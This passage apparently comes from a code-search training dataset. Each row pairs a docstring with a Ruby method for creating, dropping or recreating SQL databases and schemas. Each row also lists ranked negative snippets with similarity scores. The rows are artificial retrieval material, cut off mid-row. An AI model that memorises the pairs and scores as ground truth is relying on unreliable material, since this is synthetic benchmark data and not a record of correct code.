query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
SCHEMA STATEMENTS ======================================== Drops the database specified on the +name+ attribute and creates it again using the provided +options+.
|
def recreate_database(name, options = {})
drop_database(name)
sql = create_database(name, options)
reconnect!
sql
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recreate_database(name, options = {}) #:nodoc:\n drop_database(name)\n create_database(name, options)\n end",
"def recreate_database(name, options = {})\n drop_database(name)\n create_database(name, options)\n end",
"def create_database(name, _options = {})\n execute(\"CREATE SCHEMA `#{name}`\")\n end",
"def destroy_db(options)\n info \"Dropped database '#{options[:name]}'\"\n end",
"def create_database(name, options = {})\n execute(\n \"CREATE SCHEMA #{quote_table_name(name)}\",\n SCHEMA_LOG_NAME\n )\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{name}\" \n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name) # :nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE #{quote_table_name(name)}\"\n end",
"def drop_database(name)\n single_db_command(name, :dropDatabase => 1)\n end",
"def drop_schema_sql(name, opts=OPTS)\n \"DROP SCHEMA#{' IF EXISTS' if opts[:if_exists]} #{quote_identifier(name)}#{' CASCADE' if opts[:cascade]}\"\n end",
"def drop_schema(name, opts = {})\n execute_ddl(drop_schema_sql(name, opts))\n end",
"def drop_database_sql(name, opts = {})\n \"DROP DATABASE #{quote_identifier(name)}\"\n end",
"def drop_schema(schema_name, options = {})\n execute \"DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE\"\n end",
"def drop_schema_sql(name, opts = {})\n \"DROP SCHEMA #{quote_identifier(name)}\"\n end",
"def drop_schema(name, opts=OPTS)\n self << drop_schema_sql(name, opts)\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(encoding: 'utf8')\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n ''\n end\n end\n\n execute(\"CREATE DATABASE #{quote_table_name(name)}#{option_string}\")\n end",
"def create_database(name, options = {})\n options = { encoding: 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.inject(\"\") do |memo, (key, value)|\n memo += case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(:encoding => \"utf8\")\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def drop_schema_sql(name, opts = {})\n \"DROP SCHEMA #{quote_identifier(name)} CASCADE\"\n end",
"def recreate_database(name)\n existing_database = current_database.to_s\n if name.to_s == existing_database\n do_execute 'USE master' \n end\n drop_database(name)\n create_database(name)\n ensure\n do_execute \"USE #{existing_database}\" if name.to_s == existing_database \n end",
"def create_database(name, options = {})\n options = { :encoding => 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :collation\n \" LC_COLLATE = '#{value}'\"\n when :ctype\n \" LC_CTYPE = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_db(options)\n info \"Created database '#{options[:name]}'\"\n end",
"def drop_table_sql(name, options)\n \"DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end",
"def create_database_sql(name, opts = {})\n \"CREATE DATABASE #{quote_identifier(name)}\"\n end",
"def create_database(name)\n end",
"def create_database(name, options = {})\n if options[:collation]\n execute \"CREATE DATABASE #{quote_table_name(name)} DEFAULT COLLATE #{quote_table_name(options[:collation])}\"\n elsif options[:charset]\n execute \"CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset])}\"\n elsif row_format_dynamic_by_default?\n execute \"CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET `utf8mb4`\"\n else\n raise \"Configure a supported :charset and ensure innodb_large_prefix is enabled to support indexes on varchar(255) string columns.\"\n end\n end",
"def drop_schema schema_name\n execute \"DROP SCHEMA #{schema_name} CASCADE\"\n end",
"def create_schema_sql(name, opts = {})\n \"CREATE SCHEMA #{quote_identifier(name)}\"\n end",
"def delete_database(connection_string, db_name)\n drop_sql = <<-SQL\n DROP DATABASE #{db_name};\n SQL\n\n run \"#{connection_string} --execute=\\\"#{drop_sql}\\\"\"\nend",
"def create_schema_sql(name, opts = {})\n \"CREATE SCHEMA #{quote_identifier(name)}\"\n end",
"def destroy_database(name)\n database = ::MySQL::Database.find_by_name(name)\n return false if database.nil?\n !!database.destroy\n end",
"def drop_and_create_schema_migrations_table\n sql = [\n \"USE #{@database}\",\n 'DROP TABLE IF EXISTS schema_migrations',\n 'CREATE TABLE schema_migrations ( version varchar(255) COLLATE utf8_unicode_ci NOT NULL, UNIQUE KEY unique_schema_migrations (version)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci'\n ]\n\n run_commands(sql)\n end",
"def reset\n tables = MODELS + [ENV['SCHEMA_TABLE']]\n tables.each { |t|\n DB << \"DROP TABLE IF EXISTS #{t.inspect};\"\n }\nend",
"def drop_table(name)\n not_exist(name)\n\n ORM::DBConnection.new(model_name(name)).remove_table(name)\n File.delete(\"app/services/db/tables/#{name}.json\")\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def drop_database\n options = { database: Orientdb::ORM.connection_uri.database, user: Orientdb::ORM.connection_uri.user, password: Orientdb::ORM.connection_uri.password }\n Orientdb::ORM.with { |conn| conn.client.delete_database( options ) }\nend",
"def create_schema_sql(name, opts=OPTS)\n \"CREATE SCHEMA #{'IF NOT EXISTS ' if opts[:if_not_exists]}#{quote_identifier(name)}#{\" AUTHORIZATION #{literal(opts[:owner])}\" if opts[:owner]}\"\n end",
"def destroy!\n drop_ddl = tables.map(&:name).map do |t|\n \"drop table if exists #{t};\\n\"\n end.join\n ActiveRecord::Base.connection.execute(drop_ddl)\n end",
"def uninstall_on!(db, options = {})\n sql = \"\"\n all_objects_in_order.reverse.each{|o| \n begin\n sql = o.to_clean_sql(db)\n execute_ddl(db, sql, options)\n rescue Sequel::Error => ex\n puts \"Ignoring: #{ex.message}\" if options[:verbose]\n end\n }\n db\n end",
"def delete\n ensure_service!\n service.delete_schema name\n true\n end",
"def unload_schema(schema_name)\n end",
"def drop_tablespace(name, options = {})\n sql = 'DROP TABLESPACE '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << quote_tablespace(name)\n\n execute(\"#{sql};\")\n end",
"def create_schema(name, opts=OPTS)\n self << create_schema_sql(name, opts)\n end",
"def truncate_db\n drop_table\n create_table\n end",
"def create_schema(name)\n sql = %{CREATE SCHEMA \"#{name}\"}\n ActiveRecord::Base.connection.execute sql\n end",
"def create_database!(name=nil)\n db = if name\n self.server.database!(db_name_with_prefix(name))\n else\n self.database!\n end\n create_rotation_filter(db)\n if self.respond_to?(:design_doc)\n design_doc.sync!(db)\n # or maybe this?:\n #self.design_docs.each do |design|\n # design.migrate(to_db)\n #end\n end\n return db\n end",
"def drop_schema(schema_name)\n execute(\"DROP SCHEMA \\\"#{schema_name}\\\"\")\n end",
"def drop_mysql_database\n MysqlUtils.drop_mysql_database(database_name)\n end",
"def drop_database(db_name)\n check_return_code(PureHailDB.ib_database_drop(db_name))\n end",
"def alter_table(name, generator=nil, options=nil, &block)\n if Hash === options\n generator ||= Schema::AlterTableGenerator.new(self, &block)\n\t\t alter_table_sql_list(name, generator.operations, options).\n\t\t flatten.each {|sql| execute_ddl(sql)}\n\t\t remove_cached_schema(name)\n\t\t nil\n else\n\t super(name, generator, &block)\n end\n end",
"def create_schema schema_name\n execute \"CREATE SCHEMA #{quote_schema_name(schema_name)}\"\n end",
"def destroy\n [METADATA_TABLE_NAME, RUN_HISTORY_TABLE_NAME,\n DISABLED_MONITOR_TABLE_NAME, MONITOR_INFO_TABLE_NAME].each do |table|\n @db.execute(\"DROP TABLE IF EXISTS #{table}\")\n end\n\n create()\n end",
"def uninstall_on(db, options = {})\n buffer, sql = \"\", \"\"\n all_objects_in_order.reverse.each{|o| \n sql = o.to_clean_sql(db)\n (buffer << sql << \";\\n\") unless sql.nil? or sql.empty?\n }\n execute_ddl(db, buffer, options)\n db\n end",
"def to_drop_database_sql(db)\n db.send(:drop_database_sql, self.name, {})\n end",
"def create\n database.command({ :create => name }.merge(options))\n end",
"def drop_table(table_name, **options)\n schema_cache.clear_data_source_cache!(table_name.to_s)\n execute \"DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}\"\n end",
"def shutdown\n drop_database\n end",
"def create_table_with_storing_name(table_name, options = {}, &block)\n @@table_name = table_name\n create_table_without_storing_name table_name, options, &block\n AirBlade::Migrations::SchemaDefinitions.foreign_keys = []\n end",
"def drop\n @db.drop_collection(@name)\n end",
"def drop\n database.command(:drop => name)\n rescue Error::OperationFailure => ex\n raise ex unless ex.message =~ /ns not found/\n false\n end",
"def drop\n @db.drop_collection(@name)\n end",
"def create_db_cmd!\n \"createdb -e #{new_db_name}\"\n end",
"def drop_sql\n raise NotImplementedError, \"DatabaseSymbol should not be instanciated\"\n end",
"def drop!(db, colls = nil)\n db.in_transaction do |conn|\n schema_tables(conn).each do |table|\n conn.exec \"DROP TABLE IF EXISTS #{table}\"\n end\n end\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def to_sql_drop_namespace(db)\n if db.supports_schemas?\n db.send(:drop_schema_sql, self.name, {})\n else\n \"\"\n end\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def create!(db, colls = nil)\n db.in_transaction do |conn|\n raise StandardError.new(\"Schema #{name} already created!\") unless schema_tables(conn).empty?\n end\n\n osm2pgsql_exec db, \"'#{empty_file}'\", \"creating osm2pgsql schema\"\n end",
"def recreate\n drop if exists?\n create\n end",
"def destroy\n DATABASE.destroy(self)\n end",
"def confirm_database_selected\n unless get_scalar(\"select database()\")\n execute_sql \"create database if not exists update_schema_db\"\n execute_sql \"use update_schema_db\"\n end\n end",
"def create!\n destroy!\n tables.each(&:create)\n end",
"def delete_table\n table_name = self.to_s.pluralize.underscore\n DATABASE.execute(\"DROP TABLE #{table_name}\")\n end",
"def drop_db\n Mongoid.purge!\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def prepare_db_for_restore\n raise \"restore unimplemented for #{adapter}\" unless (adapter = @db_conf[:adapter]) == 'postgresql'\n query = \"SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE'\"\n cmd = \"psql #{@db_conf[:database]} -t -c \\\"#{query}\\\"\"\n puts \"Executing: '#{cmd}'\"\n tables = `#{cmd}`\n\n query = \"DROP TABLE #{tables.map(&:chomp).map(&:strip).reject(&:empty?).join(\", \")} CASCADE\"\n cmd = \"psql #{@db_conf[:database]} -t -c \\\"#{query}\\\"\"\n puts \"Executing: '#{cmd}'\"\n `#{cmd}`\n end",
"def reinitialize_db\n drop_db\n initialize_db\n end",
"def destroy\n dbf.destroy\n rescue MissingSource\n ensure\n freeze\n end",
"def database! name\n create_db(name) rescue nil\n database name\n end",
"def drop_schema(schema)\n execute \"DROP SCHEMA #{schema} RESTRICT\", 'Drop Schema'\n end",
"def remove_database\n FileUtils.rm_rf(path) if File.exist? File.join(path, \"iamflint\")\n @database = nil\n @writable_database = nil\n end",
"def drop_database\n puts \"Droping database #{@db_name}...\"\n begin\n client = Mysql2::Client.new(:host => @db_host, :username => @db_user, :password => @db_pass)\n client.query(\"DROP DATABASE IF EXISTS #{@db_name}\")\n client.close\n rescue Exception => e\n puts \"An error occurred\\n #{e}\"\n end\n end",
"def db_destroy_postgresql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\treturn if ! db_find_tools(%W{dropdb})\n\n\t\t\tinfo = db_parse_db_uri_postgresql(args[0])\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\tprint()\n\t\t\t\tprint_status(\"Warning: You will need to enter the password at the prompts below\")\n\t\t\t\tprint()\n\t\t\t\targv.push('-W')\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-p')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"dropdb #{cargs} #{info[:name]}\")\n\t\tend",
"def drop_table\n db.drop_table(table_name)\n end",
"def database_name=(name)\n @collection = nil\n @database_name = name\n end",
"def drop\n\t\tActiveRecord::Base.connection.execute \"SET AUTOCOMMIT=0\"\n\t\tActiveRecord::Base.connection.execute \"SET FOREIGN_KEY_CHECKS=0\"\n\n self.change_schema_to 'information_schema';\n @result[:deleted] = []\n \n if request[:remove_all]\n #remove all tables\n @tables = ActiveRecord::Base.connection.select_all \"select TABLE_NAME table_name from `TABLES` where `TABLE_SCHEMA`='#{request[:db_name]}'\"\n self.change_schema_to request[:db_name];\n \n @tables.each do |table|\n ActiveRecord::Base.connection.execute \"drop table `#{table[\"table_name\"]}`\"\n @result[:deleted].push table[\"table_name\"];\n end\n else\n self.change_schema_to request[:db_name];\n ActiveRecord::Base.connection.execute \"drop table `#{request[:key]}`\";\n @result[:deleted].push request[:key];\n end\n \n self.change_schema_to 'information_schema';\n @result[:type] = 'table'\n render json: @result\n end",
"def db_destroy_mysql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\treturn if ! db_find_tools(%W{mysqladmin})\n\n\t\t\tinfo = db_parse_db_uri_mysql(args[0])\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-u')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\targv.push('--password=' + info[:pass])\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-P')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\targv.push(\"-f\")\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"mysqladmin -f #{cargs} drop #{info[:name]}\")\n\t\tend",
"def drop_db( path_names )\n path_name_tokens = path_names.split( \"|\" )\n zone = path_name_tokens[1]\n connect_for( zone ) do |con|\n db_name = path_name_tokens.pop\n con.drop_database( db_name )\n end\n end",
"def drop_table(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS \n names.each do |n|\n execute_ddl(drop_table_sql(n, options))\n remove_cached_schema(n)\n end\n nil\n end",
"def create_database(name)\n @logger.unknown(\"ODBCAdapter#create_database>\") if @trace\n @logger.unknown(\"args=[#{name}]\") if @trace\n execute \"CREATE DATABASE #{name}\"\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @trace\n raise\n end",
"def delete_database(database_name)\n @glue_client.delete_database(name: database_name)\n rescue Aws::Glue::Errors::ServiceError => e\n @logger.error(\"Glue could not delete database: \\n#{e.message}\")\n end",
"def database_reset\n @database = nil\n end",
"def remove_check(table_name, options)\n name = options.fetch(:name) { raise 'remove_check, :name option required' }\n\n execute <<-SQL\n ALTER TABLE #{quote_table_name(table_name)}\n DROP CONSTRAINT #{quote_column_name(name)}\n SQL\n end",
"def drop_test_database!\n raise \"not a test database!!! database name must end in `_test`\" unless @database =~ /_test$/\n connection.drop_database(@database)\n end",
"def drop_view_sql(name, options)\n \"DROP VIEW#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_identifier(name)}\"\n end",
"def drop_sequence(sequence_name, options = {})\n SchemaMonkey::Middleware::Migration::DropSequence.start(connection: self, sequence_name: sequence_name, sequence_options: options) do |env|\n sequence_name = env.sequence_name\n options = env.sequence_options\n sql = \"DROP SEQUENCE\"\n sql += \" IF EXISTS\" if options[:if_exists]\n sql += \" #{quote_table_name(sequence_name)}\"\n execute sql\n end\n end"
] |
[
"0.7931576",
"0.78294027",
"0.77030593",
"0.75980514",
"0.7580308",
"0.7383198",
"0.7353716",
"0.72562236",
"0.725461",
"0.7170872",
"0.71346986",
"0.7134434",
"0.709759",
"0.7072147",
"0.70476526",
"0.703331",
"0.70186514",
"0.7012768",
"0.69775957",
"0.6954451",
"0.6935567",
"0.6891943",
"0.68732095",
"0.6833668",
"0.67241955",
"0.6686313",
"0.6638665",
"0.6612995",
"0.66100013",
"0.6564759",
"0.65460575",
"0.65443206",
"0.6530297",
"0.645335",
"0.6452139",
"0.6447567",
"0.6428998",
"0.6428998",
"0.6427844",
"0.6409986",
"0.63920975",
"0.6378992",
"0.63621366",
"0.6332682",
"0.63065875",
"0.6299521",
"0.62956756",
"0.62883514",
"0.621586",
"0.6210336",
"0.6189948",
"0.6179655",
"0.6169236",
"0.6151546",
"0.6144593",
"0.60881907",
"0.6078513",
"0.60415125",
"0.60349864",
"0.60233635",
"0.6019598",
"0.60177356",
"0.60132605",
"0.6010111",
"0.60028017",
"0.59921277",
"0.5967485",
"0.59620506",
"0.5960641",
"0.59357584",
"0.59154415",
"0.5914236",
"0.58912",
"0.587908",
"0.5870842",
"0.58637255",
"0.58520365",
"0.58178085",
"0.5815948",
"0.58113396",
"0.58067787",
"0.57990724",
"0.57945764",
"0.5785626",
"0.5784219",
"0.57771176",
"0.575893",
"0.5755229",
"0.5744967",
"0.5743415",
"0.57400763",
"0.57152146",
"0.57104325",
"0.57056355",
"0.5702775",
"0.57010454",
"0.56975037",
"0.56927454",
"0.567607",
"0.5675415"
] |
0.7591042
|
4
|
Create a new MySQL database with optional :charset and :collation. Charset defaults to utf8mb4. Example: create_database 'charset_test', charset: 'latin1', collation: 'latin1_bin' create_database 'matt_development' create_database 'matt_development', charset: :big5
|
def create_database(name, options = {})
if options[:collation]
execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT COLLATE #{quote_table_name(options[:collation])}"
elsif options[:charset]
execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset])}"
elsif row_format_dynamic_by_default?
execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET `utf8mb4`"
else
raise "Configure a supported :charset and ensure innodb_large_prefix is enabled to support indexes on varchar(255) string columns."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_database(name, charset)\n database = ::MySQL::Database.create(name, charset)\n !database.nil?\n end",
"def create_database(name, options = {})\n options = { :encoding => 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :collation\n \" LC_COLLATE = '#{value}'\"\n when :ctype\n \" LC_CTYPE = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(encoding: 'utf8')\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n ''\n end\n end\n\n execute(\"CREATE DATABASE #{quote_table_name(name)}#{option_string}\")\n end",
"def create_database(name, options = {})\n options = options.reverse_merge(:encoding => \"utf8\")\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_database(name, options = {})\n options = { encoding: 'utf8' }.merge!(options.symbolize_keys)\n\n option_string = options.inject(\"\") do |memo, (key, value)|\n memo += case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end",
"def create_database\n puts \"Creating database #{@db_name}...\"\n begin\n client = Mysql2::Client.new(:host => @db_host, :username => @db_user, :password => @db_pass)\n client.query(\"CREATE DATABASE #{@db_name}\")\n client.close\n rescue Exception => e\n puts \"An error occurred\\n #{e}\"\n end\n end",
"def create_database(name, _options = {})\n execute(\"CREATE SCHEMA `#{name}`\")\n end",
"def create_mysql_database(schema=\"\")\n @mysql_database = true\n MysqlUtils.create_mysql_database(database_name, schema)\n end",
"def create_database\n if dockerized?\n puts \"Running inside of a docker container\"\n puts \"No systemd support, skipping mysql configuration\"\n return\n end\n\n Runner.activate_service(\"mysql\") if database_local?\n\n env_variables = {\n \"SKIP_MIGRATION\" => \"yes\",\n \"PORTUS_PASSWORD\" => @portus_password\n }\n puts \"Creating Portus' database\"\n Runner.bundler_exec(\"rake\", [\"db:create\"], env_variables)\n\n puts \"Running database migrations\"\n Runner.bundler_exec(\"rake\", [\"db:migrate\"], env_variables)\n\n puts \"Seeding database\"\n begin\n Runner.bundler_exec(\"rake\", [\"db:seed\"], env_variables)\n rescue\n puts \"Something went wrong while seedeing the database\"\n puts \"Are you sure the database is empty?\"\n puts \"Ignoring error\"\n end\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/tmp\")\n end",
"def create_database(name)\n end",
"def create_database(connection_string, db_name)\n create_sql = <<-SQL\n CREATE DATABASE #{db_name};\n SQL\n\n run \"#{connection_string} --execute=\\\"#{create_sql}\\\"\"\nend",
"def create_database(name, options = {})\n execute(\n \"CREATE SCHEMA #{quote_table_name(name)}\",\n SCHEMA_LOG_NAME\n )\n end",
"def create_database(db_name)\n config = Rails.configuration.database_configuration[Rails.env]\n password = Shellwords.escape(config['password'])\n new_db = \"mysqldump -u#{config['username']} -p#{password} -h#{config['host']} #{config['database']} > /home/rails/current/tmp/backup.sql;\n mysqladmin -u#{config['username']} -p#{password} create #{db_name};\n mysql -u#{config['username']} -p#{password} -h#{config['host']} #{db_name} < /home/rails/current/tmp/backup.sql\"\n system new_db\n end",
"def db_create_mysql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] == nil or args[0] == \"-h\" or args[0] == \"--help\")\n\t\t\t\tprint_status(\" Usage: db_create <user:pass>@<host:port>/<database>\")\n\t\t\t\tprint_status(\"Examples:\")\n\t\t\t\tprint_status(\" db_create user@metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2/metasploit3\")\n\t\t\t\tprint_status(\" db_create user:pass@192.168.0.2:1500/metasploit3\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\treturn if ! db_find_tools(%W{mysqladmin mysql})\n\n\t\t\tinfo = db_parse_db_uri_mysql(args[0])\n\t\t\topts = { 'adapter' => 'mysql' }\n\n\t\t\targv = []\n\n\t\t\tif (info[:user])\n\t\t\t\topts['username'] = info[:user]\n\t\t\t\targv.push('-u')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\n\t\t\tif (info[:pass])\n\t\t\t\targv.push('--password=' + info[:pass])\n\t\t\t\topts['password'] = info[:pass]\n\t\t\tend\n\n\t\t\tif (info[:host])\n\t\t\t\topts['host'] = info[:host]\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\n\t\t\tif (info[:port])\n\t\t\t\topts['port'] = info[:port]\n\t\t\t\targv.push('-P')\n\t\t\t\targv.push(info[:port])\n\n\t\t\t\t# This is an ugly hack for a broken MySQL adapter:\n\t\t\t\t# \thttp://dev.rubyonrails.org/ticket/3338\n\t\t\t\tif (opts['host'].strip.downcase == 'localhost')\n\t\t\t\t\topts['host'] = Socket.gethostbyname(\"localhost\")[3].unpack(\"C*\").join(\".\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\targv.push('-f')\n\n\t\t\topts['database'] = info[:name]\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\n\t\t\tsystem(\"mysqladmin #{cargs} drop #{info[:name]} >/dev/null 2>&1\")\n\t\t\tsystem(\"mysqladmin #{cargs} create #{info[:name]}\")\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Database creation complete (check for errors)\")\n\t\tend",
"def create_database_sql(name, opts = {})\n \"CREATE DATABASE #{quote_identifier(name)}\"\n end",
"def create_db(options)\n info \"Created database '#{options[:name]}'\"\n end",
"def create_database_yml\n print_title('Creating database configuration')\n\n @database = Database.create_config(self)\n logger.info(\"Database initialized #{@database}\")\n end",
"def create_database\n say_with_task(\"Creating database...\", \"db:create\")\n end",
"def create_database(db_name)\n ret = PureHailDB.ib_database_create(db_name)\n if ret != true\n check_return_code(PureHailDB::DbError[:DB_ERROR])\n end\n end",
"def create(master_established = false)\n establish_master_connection unless master_established\n extra_configs = { \"encoding\" => encoding }\n extra_configs[\"owner\"] = username if has_su?\n connection.create_database(configuration[\"database\"], configuration.merge(extra_configs))\n setup_gis\n rescue ::ActiveRecord::StatementInvalid => error\n if /database .* already exists/ === error.message\n raise ::ActiveRecord::Tasks::DatabaseAlreadyExists\n else\n raise\n end\n end",
"def db_create_sqlite3(*args)\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] and (args[0] == \"-h\" || args[0] == \"--help\"))\n\t\t\t\tprint_status(\"Usage: db_create [database-file-path]\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tinfo = db_parse_db_uri_sqlite3(args[0])\n\t\t\tdbfile = info[:path]\n\t\t\topts = { 'adapter' => 'sqlite3', 'database' => dbfile }\n\n\t\t\tif (::File.exists?(dbfile))\n\t\t\t\tprint_status(\"The specified database already exists, connecting\")\n\t\t\telse\n\t\t\t\tprint_status(\"Creating a new database instance...\")\n\t\t\t\trequire_library_or_gem('sqlite3')\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Successfully connected to the database\")\n\n\t\t\tprint_status(\"File: #{dbfile}\")\n\t\tend",
"def database! name\n create_db(name) rescue nil\n database name\n end",
"def create_database!(name=nil)\n db = if name\n self.server.database!(db_name_with_prefix(name))\n else\n self.database!\n end\n create_rotation_filter(db)\n if self.respond_to?(:design_doc)\n design_doc.sync!(db)\n # or maybe this?:\n #self.design_docs.each do |design|\n # design.migrate(to_db)\n #end\n end\n return db\n end",
